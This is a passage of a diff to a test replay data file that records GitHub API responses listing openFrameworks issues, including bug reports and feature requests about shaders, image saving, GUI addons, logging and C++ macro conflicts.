set?","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/example","name":"example","color":"d1af26"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2009-12-31T15:10:45Z","state":"open","user":{"url":"https://api.github.com/users/ofZach","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"ofZach","id":142897},"id":104702,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-09-27T15:47:45Z","body":"videoGrabber and serial listDevices should return a vector of strings apart from printing to console","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/91","comments":4,"milestone":null,"number":91,"html_url":"https://github.com/openframeworks/openFrameworks/issues/91","assignee":null,"title":"listDevices should return a list of strings","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2009-12-09T17:11:40Z","state":"open","user":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"arturoc","id":48240},"id":94898,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}}] - diff --git a/tests/ReplayData/PaginatedList.testSliceIndexingUntilFourthPage.txt b/tests/ReplayData/PaginatedList.testSliceIndexingUntilFourthPage.txt index 21624eca35..d42b7d26e4 100644 --- a/tests/ReplayData/PaginatedList.testSliceIndexingUntilFourthPage.txt +++ b/tests/ReplayData/PaginatedList.testSliceIndexingUntilFourthPage.txt @@ -41,4 +41,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4994'), ('content-length', '44623'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('link', '; rel="next", ; rel="last", ; rel="first", ; rel="prev"'), ('etag', '"503341a3315e7439ca42af2db36615d4"'), ('date', 'Tue, 29 May 2012 20:01:49 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"updated_at":"2012-03-10T17:52:58Z","body":"if you have:\r\n\r\n uniform float dog;\r\n float cat;\r\n\r\nand:\r\n\r\n shader.setUniform1f(\"dog\", ofGetElapsedTimef());\r\n shader.setUniform1f(\"cat\", ofGetElapsedTimef());\r\n\r\nthere is no currently no error printed to the console, and \"cat\" is mysteriously unchanging while \"dog\" is fine.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1052","comments":0,"milestone":null,"number":1052,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1052","assignee":null,"title":"ofShader should show an error when using an invalid name","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2012-03-10T17:52:58Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106},"id":3596240,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-14T15:11:08Z","body":"ofxiPhoneScreenGrab saves with compression artifacts.\r\nfix for saving a lossless image in the below post,\r\nhttp://forum.openframeworks.cc/index.php/topic,4737.0.html","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1051","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"closed_issues":21,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1051,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1051","assignee":{"url":"https://api.github.com/users/julapy","avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","login":"julapy","id":331382},"title":"ofxiPhoneScreenGrab saves with compression artifacts.","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2012-03-10T12:15:33Z","state":"open","user":{"url":"https://api.github.com/users/julapy","avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","login":"julapy","id":331382},"id":3594731,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-14T15:09:09Z","body":"just wanted to kick off a discussion about cleaning up ofxiPhone folder structure.\r\nhave this up on the forum, http://forum.openframeworks.cc/index.php/topic,8955.0.html","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1050","comments":5,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"closed_issues":21,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1050,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1050","assignee":{"url":"https://api.github.com/users/julapy","avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","login":"julapy","id":331382},"title":"clean up ofxiPhone folder structure.","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2012-03-10T06:32:12Z","state":"open","user":{"url":"https://api.github.com/users/julapy","avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","login":"julapy","id":331382},"id":3593619,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-29T14:55:24Z","body":"This an implementation of ofxiPhoneScreenGrab for Android","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1048","comments":2,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"closed_issues":21,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1048,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1048","assignee":{"url":"https://api.github.com/users/arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","id":48240},"title":"Adding Android screenshot feature, example to demonstrate it","labels":[],"closed_at":null,"created_at":"2012-03-10T05:31:45Z","state":"open","user":{"url":"https://api.github.com/users/bostonbusmap","avatar_url":"https://secure.gravatar.com/avatar/433032cca043cedb67180dc5109062da?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"433032cca043cedb67180dc5109062da","login":"bostonbusmap","id":863262},"id":3593430,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/1048.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/1048","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1048.patch"}},{"updated_at":"2012-03-12T15:31:12Z","body":"whenever I try to open a file using system dialog from OF utils or ofxFileDIalogOSX, the video is loaded correctly but it get stuck and doesn't play at all. see:\r\nhttp://forum.openframeworks.cc/index.php/topic,5233.0.html\r\nhttp://forum.openframeworks.cc/index.php/topic,6515.0.html\r\n\r\nquite a big issue IMHO","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1047","comments":8,"milestone":null,"number":1047,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1047","assignee":null,"title":"opening video files with system dialog in osx prevents them to play correctly","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/macOS","name":"macOS","color":"2a8296"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-video","name":"section-video","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-03-09T18:54:28Z","state":"open","user":{"url":"https://api.github.com/users/hvfrancesco","avatar_url":"https://secure.gravatar.com/avatar/e02a8a3953de9d5d9ec1c7aa8d43eca4?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"e02a8a3953de9d5d9ec1c7aa8d43eca4","login":"hvfrancesco","id":614123},"id":3587808,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-20T16:11:54Z","body":"just a small one but would be great. \r\nmaybe even different icon for debug and release? ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1039","comments":12,"milestone":null,"number":1039,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1039","assignee":null,"title":"make icons for OF apps","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2012-03-06T17:56:58Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":3528378,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-06T15:32:44Z","body":"right now it is not clear from a visual perspective what is a button / trigger and what is a toggle. ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1037","comments":1,"milestone":null,"number":1037,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1037","assignee":null,"title":"ofxGui, ofxButton should look visually different to toggle","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2012-03-05T18:06:03Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":3510933,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-04-10T19:29:53Z","body":"xml is one of the reasons this is currently an addon. \r\nthe original idea was to have something simple and minimal that could be in the core. \r\nalso something which could be built off of for larger gui addons ( hence ofParameter ) \r\n\r\nI see a couple of options going forward.\r\n\r\n1) swtich from xml to newline separated text files and move ofGui into core\r\nthis would be quite simple as ofParameter already has a name, value structure \r\n\r\n2) same as 1) but keep ofxGui as an addon - making it a bit simpler to add to a project \r\n2b) add ofParameter to core as it is more general purpose\r\n\r\n3) bring ofxXmlSettings into the core and bring ofGui into core.\r\n\r\n\r\nanyway I thought it would be good to get some discussion going about this.\r\nI'm especially interested in setting up ofParam and ofBaseGui in a way to make things modular and extendable. \r\n\r\nalso could be interesting to look at a way to represent a collection/group of ofParameters\r\nsome of this might be similar to some of the stuff @memo was doing with his plist style system. \r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1036","comments":10,"milestone":null,"number":1036,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1036","assignee":null,"title":"ofxGui -> ofGui - how/should we bring into core?","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2012-03-05T16:56:26Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":3509628,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-12T12:39:10Z","body":"If it finds .vert, .frag (and .geom?) files in the data/ folder, the project generator should make a new folder, in the project file, next to (or inside) src called data/ and add the files to it. (data/ so that beginners can find the files in Finder)","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1034","comments":3,"milestone":null,"number":1034,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1034","assignee":null,"title":"projectGenerator ignores shader .vert and .frag files","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/project+generator","name":"project generator","color":"444444"}],"closed_at":null,"created_at":"2012-03-04T11:19:04Z","state":"open","user":{"url":"https://api.github.com/users/damiannz","avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","login":"damiannz","id":144366},"id":3495602,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-06T15:06:00Z","body":"I talked to Arturo about this, but I want to make sure it's known. When you call ofLogSetLogLevel with a module string, that string is added to a map used to check the module's log level ... but right now that string is never removed.\r\n\r\nIf someone creates a large amount module names the map could grow arbitrarily large over time. The thought so far is that no one would make enough module names for it to be a problem.\r\n\r\nFor instance, using the [proposed ofThread rewrite](https://github.com/openframeworks/openFrameworks/pull/1031), each thread creates a new module name when it sets itself to verbose and, in the case of spawning lots of verbose worker threads, the map will grow.\r\n\r\nMy proposed solution would be to remove the module name from the map when the level for that module is set back to OF_LOG_NOTICE and/or to the current log level.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1033","comments":11,"milestone":null,"number":1033,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1033","assignee":null,"title":"ofSetLogLevel(module, level) adds to map but dosen't remove","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2012-03-04T10:54:12Z","state":"open","user":{"url":"https://api.github.com/users/danomatika","avatar_url":"https://secure.gravatar.com/avatar/5fa1d3aa502b308b8a3ae814fb88ac04?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"5fa1d3aa502b308b8a3ae814fb88ac04","login":"danomatika","id":480637},"id":3495503,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-14T15:11:08Z","body":"this change c50648e29199a3f61eae05f6ceb350a97ab275d7 caused the problem. i'm not sure why adding explicit cases for handling loadData for ofShortPixels and ofFloatPixels would do this. to see the proof, run devApps/AdvancedImageLoading","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1029","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"closed_issues":21,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1029,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1029","assignee":null,"title":"display of short + float textures are broken","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2012-03-03T19:04:59Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106},"id":3491627,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-10T06:54:25Z","body":"I've just encountered a real 'wall meets head' bug, aka 'why is my camera image black??'\r\n\r\nwell it turns out that actually, ofSaveImage doesn't save mono images\r\nit just saves out black pixels\r\n\r\ntesting on Windows, VS2010.\r\nAnybody else getting this?\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1028","comments":5,"milestone":null,"number":1028,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1028","assignee":null,"title":"ofSaveImage / ofImage::saveImage() problem with OF_IMAGE_GRAYSCALE / OF_PIXELS_MONO","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2012-03-03T12:23:06Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","id":328294},"id":3489266,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-16T09:25:13Z","body":"The Android example is basically a copy of the existing 3dModelBuilder example with some code changes to work with OpenGL ES","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1024","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"closed_issues":21,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1024,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1024","assignee":{"url":"https://api.github.com/users/arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","id":48240},"title":"Fixing 3DModelBuilder to work with OpenGL ES, added Android example for it","labels":[],"closed_at":null,"created_at":"2012-03-02T16:55:29Z","state":"open","user":{"url":"https://api.github.com/users/bostonbusmap","avatar_url":"https://secure.gravatar.com/avatar/433032cca043cedb67180dc5109062da?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"433032cca043cedb67180dc5109062da","login":"bostonbusmap","id":863262},"id":3479768,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/1024.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/1024","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1024.patch"}},{"updated_at":"2012-03-30T16:34:06Z","body":"Continuation of http://forum.openframeworks.cc/index.php/topic,9095.msg42378.html#new\r\n\r\nNOTE: Things may have changed as the projects I'm using are all created using the older creation tools.\r\nCan somebody up to date please check?\r\n\r\nCurrently XCode's default project setting is /O2 for debug projects\r\nwhilst Visual Studio's is /O0\r\n\r\n/O0 generally makes the most sense for debug mode as it allows for effective program flow and variable tracking (because with /O2, lines of code and variables are commonly optimised away).\r\n\r\nIf we are worried that this will leave default users in a default 'slower state' then perhaps we could make release the default? Then people could be aware that they are selecting debug when they want to actually do some debugging?\r\nBut this may have other issues (such as some libraries might not perform as many checks as otherwise?)\r\n\r\nit might be worth making users more aware of the 2 options anyway, and then start using them consistently","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1022","comments":12,"milestone":null,"number":1022,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1022","assignee":null,"title":"Optimisation consistency","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2012-03-02T13:25:15Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","id":328294},"id":3476540,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-01T19:42:09Z","body":"currently if MSAA is enabled, COLOR_ATTACHMENT[ 0 -> nSamples]_EXT are bound for MS blitting, which could overwrite your texture color attachments without notifying you [ i.e. setSamples(4); setNumTextures(4) ]. There may be some solution where numSamples*numTextures = maxAttachments, allowing for multisampled internal textures, but at the very least we should warn/notify that samples and textures won't play so nicely together, or try to allocate samples/textures in the remaining attachments and notify on overflow.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1019","comments":0,"milestone":null,"number":1019,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1019","assignee":null,"title":"ofFbo needs consideration as far as MRT + MSAA","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2012-03-01T19:42:09Z","state":"open","user":{"url":"https://api.github.com/users/kpasko","avatar_url":"https://secure.gravatar.com/avatar/b3685ad8a761582e5f1c3e151f9f854f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b3685ad8a761582e5f1c3e151f9f854f","login":"kpasko","id":167271},"id":3462226,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-01T04:33:36Z","body":"there's a block in ofConstants which reads like:\r\n\r\n```c++\r\n#ifndef PI\r\n\t#define PI 3.14159265358979323846\r\n#endif\r\n\r\n#ifndef TWO_PI\r\n\t#define TWO_PI 6.28318530717958647693\r\n#endif\r\n\r\n#ifndef M_TWO_PI\r\n\t#define M_TWO_PI 6.28318530717958647693\r\n#endif\r\n\r\n#ifndef FOUR_PI\r\n\t#define FOUR_PI 12.56637061435917295385\r\n#endif\r\n\r\n#ifndef HALF_PI\r\n\t#define HALF_PI 1.57079632679489661923\r\n#endif\r\n\r\n#ifndef DEG_TO_RAD\r\n\t#define DEG_TO_RAD (PI/180.0)\r\n#endif\r\n\r\n#ifndef RAD_TO_DEG\r\n\t#define RAD_TO_DEG (180.0/PI)\r\n#endif\r\n\r\n#ifndef MIN\r\n\t#define MIN(x,y) (((x) < (y)) ? (x) : (y))\r\n#endif\r\n\r\n#ifndef MAX\r\n\t#define MAX(x,y) (((x) > (y)) ? (x) : (y))\r\n#endif\r\n\r\n#ifndef CLAMP\r\n\t#define CLAMP(val,min,max) (MAX(MIN(val,max),min))\r\n#endif\r\n\r\n#ifndef ABS\r\n\t#define ABS(x) (((x) < 0) ? -(x) : (x))\r\n#endif\r\n```\r\n\r\nthe problem is i've got this in another header file:\r\n\r\n```c++\r\n// macro-like inline functions\r\n\r\ntemplate\r\ninline T SQR(const T a) {return a*a;}\r\n\r\ntemplate\r\ninline const T &MAX(const T &a, const T &b)\r\n {return b > a ? (b) : (a);}\r\n\r\ninline float MAX(const double &a, const float &b)\r\n {return b > a ? (b) : float(a);}\r\n\r\ninline float MAX(const float &a, const double &b)\r\n {return b > a ? float(b) : (a);}\r\n\r\ntemplate\r\ninline const T &MIN(const T &a, const T &b)\r\n {return b < a ? (b) : (a);}\r\n\r\ninline float MIN(const double &a, const float &b)\r\n {return b < a ? (b) : float(a);}\r\n\r\ninline float MIN(const float &a, const double &b)\r\n {return b < a ? float(b) : (a);}\r\n\r\ntemplate\r\ninline T SIGN(const T &a, const T &b)\r\n\t{return b >= 0 ? (a >= 0 ? a : -a) : (a >= 0 ? -a : a);}\r\n\r\ninline float SIGN(const float &a, const double &b)\r\n\t{return b >= 0 ? (a >= 0 ? a : -a) : (a >= 0 ? -a : a);}\r\n\r\ninline float SIGN(const double &a, const float &b)\r\n\t{return (float)(b >= 0 ? (a >= 0 ? a : -a) : (a >= 0 ? -a : a));}\r\n```\r\n\r\nAnd ofConstants is included in almost every oF file\r\n\r\ni'd suggest moving to inline functions and presume that compiler optimisations makes these 2 options equivalent in terms of performance, but that inline wins out for compatability","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1007","comments":10,"milestone":null,"number":1007,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1007","assignee":null,"title":"bug #defines in ofConstants conflict with other libraries","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2012-02-29T15:31:18Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","id":328294},"id":3438233,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-01T13:02:37Z","body":"Propose the following functions:\r\n\r\n```c++\r\nofVec2f ofRandom(const ofVec2f&);\r\nofVec3f ofRandom(const ofVec3f&);\r\nofVec2f ofRandom(const ofVec2f& range1, const ofVec2f& range2);\r\nofVec3f ofRandom(const ofVec3f& range1, const ofVec3f& range2);\r\n```\r\n\r\nalso lots of other candidates for this, e.g. `ofClamp`, `ofMap`, etc\r\nsome clever templating possible?\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1005","comments":12,"milestone":null,"number":1005,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1005","assignee":null,"title":"feature ofRandom(ofVec3f) 